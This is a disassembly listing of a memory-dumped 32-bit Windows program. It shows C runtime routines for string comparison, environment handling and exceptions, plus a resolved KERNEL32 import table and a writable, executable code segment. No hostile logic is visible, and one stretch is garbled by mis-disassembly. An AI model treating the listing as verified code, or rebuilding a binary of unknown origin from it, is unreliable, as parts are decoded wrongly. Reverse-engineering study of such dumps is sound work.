--------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_41F9F2: ; CODE XREF: sub_41F825+1B5j cmp [ebp+var_24], ebx jz loc_41FA8E push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, ds:dword_421064 call esi ; MultiByteToWideChar test eax, eax jz short loc_41FA8E push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_41FA8E mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_415D50 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_41FA5D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_41FA5D: ; CODE XREF: sub_41F825+224j cmp edi, ebx jz short loc_41FA8E push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call ds:dword_421064 ; MultiByteToWideChar test eax, eax jz short loc_41FA8E push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_421008 ; CompareStringW jmp short loc_41FA90 ; --------------------------------------------------------------------------- loc_41FA8E: ; CODE XREF: sub_41F825+63j ; sub_41F825+C6j ... xor eax, eax loc_41FA90: ; CODE XREF: sub_41F825+BFj ; sub_41F825+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41F825 endp ; --------------------------------------------------------------------------- loc_41FAA2: ; CODE XREF: sub_41F7B7+50p push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+8], edi jz short loc_41FB06 push 3Dh push dword ptr [ebp+8] call sub_41FCE8 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp-8], esi jz short loc_41FB06 cmp [ebp+8], esi jz short loc_41FB06 mov eax, ds:dword_46949C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, ds:dword_4694A0 jnz short loc_41FAEC push eax call sub_41FC81 pop ecx mov ds:dword_46949C, eax loc_41FAEC: ; CODE XREF: seg000:0041FADEj cmp eax, edi jnz short loc_41FB44 cmp [ebp+0Ch], edi jz short loc_41FB0E cmp ds:dword_4694A4, edi jz short loc_41FB0E call sub_41F7B7 test eax, eax jz short loc_41FB44 loc_41FB06: ; CODE XREF: seg000:0041FAAFj ; seg000:0041FAC4j ... or eax, 0FFFFFFFFh loc_41FB09: ; CODE XREF: seg000:0041FC24j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41FB0E: ; CODE XREF: seg000:0041FAF3j ; seg000:0041FAFBj cmp ebx, edi jnz loc_41FC22 push 4 call sub_415DA9 cmp eax, edi pop ecx mov ds:dword_46949C, eax jz short loc_41FB06 mov [eax], edi cmp ds:dword_4694A4, edi jnz short loc_41FB44 push 4 call sub_415DA9 cmp eax, edi pop ecx mov ds:dword_4694A4, eax jz short loc_41FB06 mov [eax], edi loc_41FB44: ; CODE XREF: seg000:0041FAEEj ; seg000:0041FB04j ... sub esi, [ebp+8] mov edi, ds:dword_46949C mov [ebp-4], edi push esi push dword ptr [ebp+8] call sub_41FC29 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_41FBA4 cmp dword ptr [edi], 0 jz short loc_41FBA4 test ebx, ebx jz short loc_41FB9C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_415E1D pop ecx loc_41FB76: ; CODE XREF: seg000:0041FB84j cmp dword ptr [edi], 0 jz short loc_41FB86 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_41FB76 ; --------------------------------------------------------------------------- loc_41FB86: ; CODE XREF: seg000:0041FB79j mov eax, esi shl eax, 2 push eax push dword ptr [ebp-4] call sub_4174BF pop ecx test eax, eax pop ecx jz short loc_41FBD6 jmp short loc_41FBD1 ; --------------------------------------------------------------------------- loc_41FB9C: ; CODE XREF: seg000:0041FB68j mov eax, [ebp+8] mov [edi+esi*4], eax jmp short loc_41FBD6 ; --------------------------------------------------------------------------- loc_41FBA4: ; CODE XREF: seg000:0041FB5Fj ; seg000:0041FB64j test ebx, ebx jnz short loc_41FC22 test esi, esi jge short loc_41FBAE neg esi loc_41FBAE: ; CODE XREF: seg000:0041FBAAj lea eax, ds:8[esi*4] push eax push edi call sub_4174BF pop ecx test eax, eax pop ecx jz loc_41FB06 mov ecx, [ebp+8] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_41FBD1: ; CODE XREF: seg000:0041FB9Aj mov ds:dword_46949C, eax loc_41FBD6: ; CODE XREF: seg000:0041FB98j ; seg000:0041FBA2j cmp dword ptr [ebp+0Ch], 0 jz short loc_41FC22 push dword ptr [ebp+8] call sub_415CD0 inc eax inc eax push eax call sub_415DA9 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41FC22 push dword ptr [ebp+8] push esi call sub_415BE0 mov eax, esi pop ecx sub eax, [ebp+8] pop ecx add eax, [ebp-8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 3D0000h adc byte ptr [esi-18h], 0FCh popa ; --------------------------------------------------------------------------- db 0FFh db 0FFh, 59h ; --------------------------------------------------------------------------- loc_41FC22: ; CODE XREF: seg000:0041FB10j ; seg000:0041FBA6j ... xor eax, eax jmp loc_41FB09 ; =============== S U B R O U T I N E ======================================= sub_41FC29 proc near ; CODE XREF: seg000:0041FB54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ds:dword_46949C push edi mov eax, [esi] test eax, eax jz short loc_41FC64 mov edi, [esp+8+arg_4] loc_41FC3B: ; CODE XREF: sub_41FC29+39j push edi push eax push [esp+10h+arg_0] call sub_41F778 add esp, 0Ch test eax, eax jnz short loc_41FC5A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_41FC74 test al, al jz short loc_41FC74 loc_41FC5A: ; CODE XREF: sub_41FC29+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_41FC3B loc_41FC64: ; CODE XREF: sub_41FC29+Cj mov eax, esi sub eax, ds:dword_46949C sar eax, 2 neg eax loc_41FC71: ; CODE XREF: sub_41FC29+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41FC74: ; CODE XREF: sub_41FC29+2Bj ; sub_41FC29+2Fj mov eax, esi sub eax, ds:dword_46949C sar eax, 2 jmp short loc_41FC71 sub_41FC29 endp ; =============== S U B R O U T I N E ======================================= sub_41FC81 proc near ; CODE XREF: seg000:0041FAE1p arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_41FC90 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_41FC90: ; CODE XREF: sub_41FC81+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_41FCA2 loc_41FC98: ; CODE XREF: sub_41FC81+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_41FC98 loc_41FCA2: ; CODE XREF: sub_41FC81+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_415DA9 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_41FCC3 push 9 call sub_417BCE pop ecx loc_41FCC3: ; CODE XREF: sub_41FC81+38j mov eax, [edi] mov ebx, edi loc_41FCC7: ; CODE XREF: sub_41FC81+5Bj test eax, eax jz short loc_41FCDE push eax add ebx, 4 call sub_41FD5B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_41FCC7 ; --------------------------------------------------------------------------- loc_41FCDE: ; CODE XREF: sub_41FC81+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_41FC81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FCE8 proc near ; CODE XREF: seg000:0041FAB6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp ds:dword_46A8BC, 0 jnz short loc_41FD03 push [ebp+arg_4] push [ebp+arg_0] call sub_417060 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41FD03: ; CODE XREF: sub_41FCE8+Aj mov ecx, [ebp+arg_0] loc_41FD06: ; CODE XREF: sub_41FCE8+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_41FD49 movzx edx, al test ds:byte_46A9C1[edx], 4 jz short loc_41FD35 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_41FD40 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_41FD44 jmp short loc_41FD3D ; --------------------------------------------------------------------------- loc_41FD35: ; CODE XREF: sub_41FCE8+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_41FD49 loc_41FD3D: ; CODE XREF: sub_41FCE8+4Bj inc ecx jmp short loc_41FD06 ; --------------------------------------------------------------------------- loc_41FD40: ; CODE XREF: sub_41FCE8+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FD44: ; CODE XREF: sub_41FCE8+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_41FD49: ; CODE XREF: sub_41FCE8+25j ; sub_41FCE8+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_41FCE8 endp ; =============== S U B R O U T I N E ======================================= sub_41FD5B proc near ; CODE XREF: sub_40998E+21p ; sub_41FC81+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41FD82 push esi call sub_415CD0 inc eax push eax call sub_415DA9 pop ecx test eax, eax pop ecx jz short loc_41FD82 push esi push eax call sub_415BE0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41FD82: ; CODE XREF: sub_41FD5B+7j ; sub_41FD5B+1Aj xor eax, eax pop esi retn sub_41FD5B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41FD90 proc near ; CODE XREF: sub_404B1E+15p ; sub_404B77+15p ... mov eax, offset loc_420280 call sub_416438 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_404D21 mov esi, offset aStringTooLong ; "string too long" push esi call sub_415CD0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_404D5D and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41FDEA lea eax, [ebp-3Ch] push offset dword_421F80 push eax mov dword ptr [ebp-3Ch], offset off_421C3C call sub_4201E9 pop esi sub_41FD90 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FDEA proc near ; CODE XREF: sub_41FD90+3Fp ; sub_41FFBC+3Fp mov eax, offset loc_420294 call sub_416438 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_438F9C call sub_42010E mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_404D21 push ds:dword_421248 mov ecx, edi push 0 push ebx call sub_404BCE mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_421C5C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41FDEA endp ; =============== S U B R O U T I N E ======================================= sub_41FE4E proc near ; DATA XREF: seg001:00421C40o ; seg001:00421C60o ... mov eax, [ecx+10h] test eax, eax jnz short locret_41FE5A mov eax, offset dword_421258 locret_41FE5A: ; CODE XREF: sub_41FE4E+5j retn sub_41FE4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE5B proc near ; DATA XREF: seg001:00421C64o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41FED1 lea eax, [ebp+var_1C] push offset dword_421FF0 push eax call sub_4201E9 sub_41FE5B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FE78 proc near ; CODE XREF: seg000:0041FEB8p ; DATA XREF: seg001:00421FF4o mov eax, offset loc_4202A8 call sub_416438 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C5C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_420195 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41FE78 endp ; --------------------------------------------------------------------------- loc_41FEB5: ; DATA XREF: seg001:off_421C5Co push esi mov esi, ecx call sub_41FE78 test byte ptr [esp+8], 1 jz short loc_41FECB push esi call sub_416457 pop ecx loc_41FECB: ; CODE XREF: seg000:0041FEC2j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_41FED1 proc near ; CODE XREF: sub_41FE5B+Ap ; sub_41FFA4+7p ... mov eax, offset loc_4202BC call sub_416438 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_42014B mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_404D21 push ds:dword_421248 mov ecx, edi push 0 push ebx call sub_404BCE mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_421C5C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41FED1 endp ; =============== S U B R O U T I N E ======================================= sub_41FF2E proc near ; CODE XREF: sub_41FF6B+20p ; DATA XREF: seg001:00421F84o mov eax, offset loc_4202D0 call sub_416438 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C5C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_420195 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41FF2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF6B proc near ; DATA XREF: seg001:00421C44o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41FFA4 lea eax, [ebp+var_1C] push offset dword_421F80 push eax call sub_4201E9 loc_41FF88: ; DATA XREF: seg001:off_421C3Co push esi mov esi, ecx call sub_41FF2E test [esp+20h+var_18], 1 jz short loc_41FF9E push esi call sub_416457 pop ecx loc_41FF9E: ; CODE XREF: sub_41FF6B+2Aj mov eax, esi pop esi retn 4 sub_41FF6B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FFA4 proc near ; CODE XREF: sub_41FF6B+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41FED1 mov dword ptr [esi], offset off_421C3C mov eax, esi pop esi retn 4 sub_41FFA4 endp ; =============== S U B R O U T I N E ======================================= sub_41FFBC proc near ; CODE XREF: sub_404BCE+13p ; sub_404D92+Ep mov eax, offset loc_4202E4 call sub_416438 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_404D21 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_415CD0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_404D5D and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41FDEA lea eax, [ebp-3Ch] push offset dword_4220A8 push eax mov dword ptr [ebp-3Ch], offset off_421C6C call sub_4201E9 pop esi sub_41FFBC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420016 proc near ; CODE XREF: sub_420053+20p ; DATA XREF: seg001:004220ACo mov eax, offset loc_4202F8 call sub_416438 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C5C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_420195 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_420016 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420053 proc near ; DATA XREF: seg001:00421C74o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_42008C lea eax, [ebp+var_1C] push offset dword_4220A8 push eax call sub_4201E9 loc_420070: ; DATA XREF: seg001:off_421C6Co push esi mov esi, ecx call sub_420016 test [esp+20h+var_18], 1 jz short loc_420086 push esi call sub_416457 pop ecx loc_420086: ; CODE XREF: sub_420053+2Aj mov eax, esi pop esi retn 4 sub_420053 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_420053+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41FED1 mov dword ptr [esi], offset off_421C6C mov eax, esi pop esi retn 4 sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200A4 proc near ; DATA XREF: seg002:0042300Co ; FUNCTION CHUNK AT 004200DA SIZE 0000000C BYTES test ds:byte_46975C, 1 jnz short loc_4200B4 or ds:byte_46975C, 1 loc_4200B4: ; CODE XREF: sub_4200A4+7j call sub_4200CE test ds:byte_46AAF8, 1 jnz short loc_4200C9 or ds:byte_46AAF8, 1 loc_4200C9: ; CODE XREF: sub_4200A4+1Cj jmp loc_4200DA sub_4200A4 endp ; =============== S U B R O U T I N E ======================================= sub_4200CE proc near ; CODE XREF: sub_4200A4:loc_4200B4p push offset nullsub_1 call sub_416820 pop ecx retn sub_4200CE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4200A4 loc_4200DA: ; CODE XREF: sub_4200A4:loc_4200C9j push offset nullsub_1 call sub_416820 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_4200A4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4200E6 proc near ; CODE XREF: sub_40446E+5Ep ; seg000:00405546p jmp ds:dword_4211D4 sub_4200E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4200EC proc near ; CODE XREF: sub_4160A4+23p ; sub_416348+13p jmp ds:dword_421154 sub_4200EC endp ; =============== S U B R O U T I N E ======================================= sub_4200F2 proc near ; DATA XREF: seg001:off_421C94o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_420195 test [esp+4+arg_0], 1 jz short loc_420108 push esi call sub_416457 pop ecx loc_420108: ; CODE XREF: sub_4200F2+Dj mov eax, esi pop esi retn 4 sub_4200F2 endp ; =============== S U B R O U T I N E ======================================= sub_42010E proc near ; CODE XREF: sub_41FDEA+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_421C94 push dword ptr [edi] call sub_415CD0 inc eax push eax call sub_4167A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42013D push dword ptr [edi] push eax call sub_415BE0 pop ecx pop ecx loc_42013D: ; CODE XREF: sub_42010E+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42010E endp ; =============== S U B R O U T I N E ======================================= sub_42014B proc near ; CODE XREF: sub_41FED1+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_421C94 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_420188 push dword ptr [edi+4] call sub_415CD0 inc eax push eax call sub_4167A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42018E push dword ptr [edi+4] push eax call sub_415BE0 pop ecx pop ecx jmp short loc_42018E ; --------------------------------------------------------------------------- loc_420188: ; CODE XREF: sub_42014B+16j mov eax, [edi+4] mov [esi+4], eax loc_42018E: ; CODE XREF: sub_42014B+2Ej ; sub_42014B+3Bj mov eax, esi pop edi pop esi retn 4 sub_42014B endp ; =============== S U B R O U T I N E ======================================= sub_420195 proc near ; CODE XREF: sub_41FE78+2Bp ; sub_41FF2E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_421C94 jz short locret_4201AA push dword ptr [ecx+4] call sub_416457 pop ecx locret_4201AA: ; CODE XREF: sub_420195+Aj retn sub_420195 endp ; =============== S U B R O U T I N E ======================================= sub_4201AB proc near ; DATA XREF: seg001:00421C98o mov eax, [ecx+4] test eax, eax jnz short locret_4201B7 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4201B7: ; CODE XREF: sub_4201AB+5j retn sub_4201AB endp ; =============== S U B R O U T I N E ======================================= sub_4201B8 proc near ; CODE XREF: seg000:004201D0p mov dword ptr [ecx], offset off_421CB4 mov ecx, [ecx+4] test ecx, ecx jz short locret_4201CC push ecx call sub_415E1D pop ecx locret_4201CC: ; CODE XREF: sub_4201B8+Bj retn sub_4201B8 endp ; --------------------------------------------------------------------------- loc_4201CD: ; DATA XREF: seg001:off_421CB4o push esi mov esi, ecx call sub_4201B8 test byte ptr [esp+8], 1 jz short loc_4201E3 push esi call sub_416457 pop ecx loc_4201E3: ; CODE XREF: seg000:004201DAj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201E9 proc near ; CODE XREF: sub_41FD90+54p ; sub_41FE5B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_421CB8 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call ds:dword_421184 ; RaiseException pop edi pop esi leave retn 8 sub_4201E9 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_420224 proc near ; DATA XREF: seg001:00421E84o ; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_404B16 sub_420224 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_420242 mov ecx, [ebp+8] jmp loc_404B16 ; --------------------------------------------------------------------------- locret_420242: ; CODE XREF: seg000:00420234j retn ; --------------------------------------------------------------------------- loc_420243: ; DATA XREF: sub_4046AAo mov eax, offset dword_421E58 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+14h] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_420258: ; DATA XREF: seg001:00421EB4o lea ecx, [ebp-1Ch] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_420260: ; DATA XREF: sub_40484Co mov eax, offset dword_421E88 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 4 loc_42026C: ; DATA XREF: sub_404DF9o mov eax, offset dword_421EB8 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_420280: ; DATA XREF: sub_41FD90o mov eax, offset dword_421F90 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_420195 ; --------------------------------------------------------------------------- loc_420294: ; DATA XREF: sub_41FDEAo mov eax, offset dword_421FB8 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_420195 ; --------------------------------------------------------------------------- loc_4202A8: ; DATA XREF: sub_41FE78o mov eax, offset dword_422000 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_420195 ; --------------------------------------------------------------------------- loc_4202BC: ; DATA XREF: sub_41FED1o mov eax, offset dword_422028 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_420195 ; --------------------------------------------------------------------------- loc_4202D0: ; DATA XREF: sub_41FF2Eo mov eax, offset dword_422050 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_4202E4: ; DATA XREF: sub_41FFBCo mov eax, offset dword_4220B8 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_420195 ; --------------------------------------------------------------------------- loc_4202F8: ; DATA XREF: sub_420016o mov eax, offset dword_4220E0 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 1000h seg000 ends ; Section 2. (virtual address 00021000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00021000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg001 segment para public 'CODE' use32 assume cs:seg001 ;org 421000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 7C81AE17h, 7C833478h dword_421008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_41F825+261r dword_42100C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_41F825+B9r dd 7C832044h, 7C80BCCFh, 7C809E01h dword_42101C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41DF39+6r dd 7C812641h, 7C81DC03h dword_421028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; seg000:0041D304r dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h dword_42103C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_421040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_41CB00+E1r dword_421044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW dd 7C80C058h dword_42104C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount dd 7C80A427h, 7C82FA46h, 7C814EEAh dword_42105C dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_40B151+Dr ... dword_421060 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40283D+E3r ... dword_421064 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4030C0+65r ... dword_421068 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_406A16+80r ... dword_42106C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_4033CB+150r ... dd 7C810D87h, 7C8312E5h dword_421078 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_4060E4+1C4r ... dd 7C80B4CFh, 7C83632Dh, 7C8361EEh dword_421088 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; seg000:loc_4075C2r ... dword_42108C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; seg000:00407594r ... dd 7C810A77h dword_421094 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_409DF9+10Fr ... dd 7C80EDD7h, 7C80E7ECh, 7C80E866h dword_4210A4 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; seg000:0040696Br ... dword_4210A8 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_408884+26r dword_4210AC dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; seg000:0040B94Fr ... dword_4210B0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4210B4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4210B8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4210BC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_407983+22Fr dword_4210C0 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4089D6:loc_408EC6r ... dword_4210C4 dd 3A7574h ; sub_419ECF+15r ... dword_4210C8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C82F7A0h dword_4210D0 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_4210D4 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h dd 7C802367h, 7C8329D9h, 7C812782h, 7C835DCAh, 7C85F90Fh dd 7C80DDFEh dword_421104 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_421108 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipedword_42110C dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; seg000:0041428Dr dd 7C8310F2h dword_421114 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; seg000:00412246r ... dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh dword_421138 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; seg000:0041BF5Er ... dd 7C8216A4h, 7C801E16h 